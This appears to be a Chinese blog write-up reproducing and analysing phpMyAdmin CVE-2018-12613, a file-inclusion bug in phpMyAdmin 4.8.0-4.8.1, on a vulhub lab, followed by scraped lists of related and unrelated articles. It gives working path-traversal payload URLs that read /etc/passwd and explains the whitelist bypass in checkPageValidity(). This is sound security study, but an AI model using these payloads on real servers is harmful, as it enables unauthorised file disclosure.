前言

  影响版本:4.8.0——4.8.1

  本次复现使用4.8.1     点击下载

  复现平台为vulhub。此漏洞复现平台如何安装使用不在赘述。请自行百度。

漏洞复现

  

  漏洞环境启动成功。

  访问该漏洞地址:

    

  使用payload:

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

  

  包含成功

漏洞分析

  漏洞产生点位于:index.php文件54—67行

  

  可以看到如果要包含文件成功,必需条件有5个:1、不为空  2、字符串  3、不以index开头  4、不在$target_blacklist这个黑名单中  5、Core::checkPageValidity()函数为TRUE

  首先查看$target_blacklist变量的值:

  然后进入条件5所述函数中。此函数位于:libraries\classes\Core.php文件443—476行:

  

    public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
} if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} return false;
}

  可以看到在第一次$_page出现时即可绕过。其含义为截取$page  第一个'?'之前的部分,如果在白名单中,即返回TRUE。接下来查看白名单的值:

  

public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

  随便选中其中之一即可。此处选中 "tbl_sql.php" 。构造payload:/index.php?target=tbl_sql.php%3f/../../../../../../../../etc/passwd

  

  

  此段代码表示将 "?"经过二次编码也可。

  

phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞分析的更多相关文章

  1. [WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)

    0x00 简介 影响版本:4.8.0--4.8.1 本次实验采用版本:4.8.1 0x01 效果展示 payload: http://your-ip:8080/index.php?target=db_ ...

  2. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  3. [CVE-2014-8959] phpmyadmin任意文件包含漏洞分析

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  4. 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  5. 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  6. ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)

    ThinkCMF框架任意内容包含漏洞分析复现 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用 ...

  7. thinkphp 5.x~3.x 文件包含漏洞分析

    漏洞描述: ThinkPHP在加载模版解析变量时存在变量覆盖的问题,且没有对 $cacheFile 进行相应的消毒处理,导致模板文件的路径可以被覆盖,从而导致任意文件包含漏洞的发生. 主要还是变量覆盖 ...

  8. ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现

    ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现 一.ThinkCMF简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3. ...

  9. CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析

    一.    漏洞背景 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可以成 ...

随机推荐

  1. 如何能够将MathType工具栏放大?

    作为专业的公式编辑器,MathType受到了很多用户的青睐,因为借助它可以快速编写出想要的各种数学公式.但是有的用户发现MathType工具栏中的符号有一些小,那么为了方便使用,能不能将工具栏放大呢? ...

  2. 简单实用的Boom 3D进阶使用教程分享

    对于初学者来说,简单体验Boom 3D的3D环绕音效,就可以通过普通耳机享受到高品质耳机的动人音效.而对于进阶者来说,Boom 3D灵活的预设功能,能让其享受到自由调整均衡器.低音的乐趣. 图1:Bo ...

  3. FL Studio中有关Sub Bass的一些制作与混音技巧

    1.Sub Bass是什么? Sub Bass是一种低沉的低音,其频率大约低于60赫兹,并向下延伸,包括人类所能听到的最低频率,约为20赫兹.在这个范围内,人类的听觉不是很灵敏,所以在这个范围内的声音 ...

  4. netty&websocket

    1.先判断是不是http 消息,不是返回400,是则remove之前添加的http组件,动态添加websocket组件 添加WebSocket Encoder和WebSocket Decoder之后, ...

  5. Image Inpainting with Learnable Bidirectional Attention Maps

    Image Inpainting with Learnable Bidirectional Attention Maps pytorch 引言 部分卷积(PConv)的缺陷: 1 将含有1个有效值像素 ...

  6. C++调用C接口

    目录 C++调用C代码 解决调用失败问题 思考:那C代码能够被C程序调用吗 C代码既能被C++调用又能被C调用 C++调用C代码 一个C语言文件p.c #include <stdio.h> ...

  7. 冲刺随笔——Day_Nine

    这个作业属于哪个课程 软件工程 (福州大学至诚学院 - 计算机工程系) 这个作业要求在哪里 团队作业第五次--Alpha冲刺 这个作业的目标 团队进行Alpha冲刺 作业正文 正文 其他参考文献 无 ...

  8. CentOS中安装Docker步骤

    1.安装仓库所需要的软件包 yum install -y yum-utils device-mapper-persistent-data lvm2 2.设置yum加速源 yum-config-mana ...

  9. 第7.19节 Python中的抽象类详解:abstractmethod、abc与真实子类

    第7.19节 Python中的抽象类详解:abstractmethod.abc与真实子类 一.    引言 前面相关的章节已经介绍过,Python中定义某种类型是以实现了该类型对应的协议为标准的,而不 ...

  10. 老猿学5G随笔:5G系统构成

    5G系统(5G智能计费方案)简称5GS,由以下部分组成: 用户设备:User Equipment,简写UE,用户访问网络的设备 5G接入网:5G Access NetWork,简写为5G-AN,负责用 ...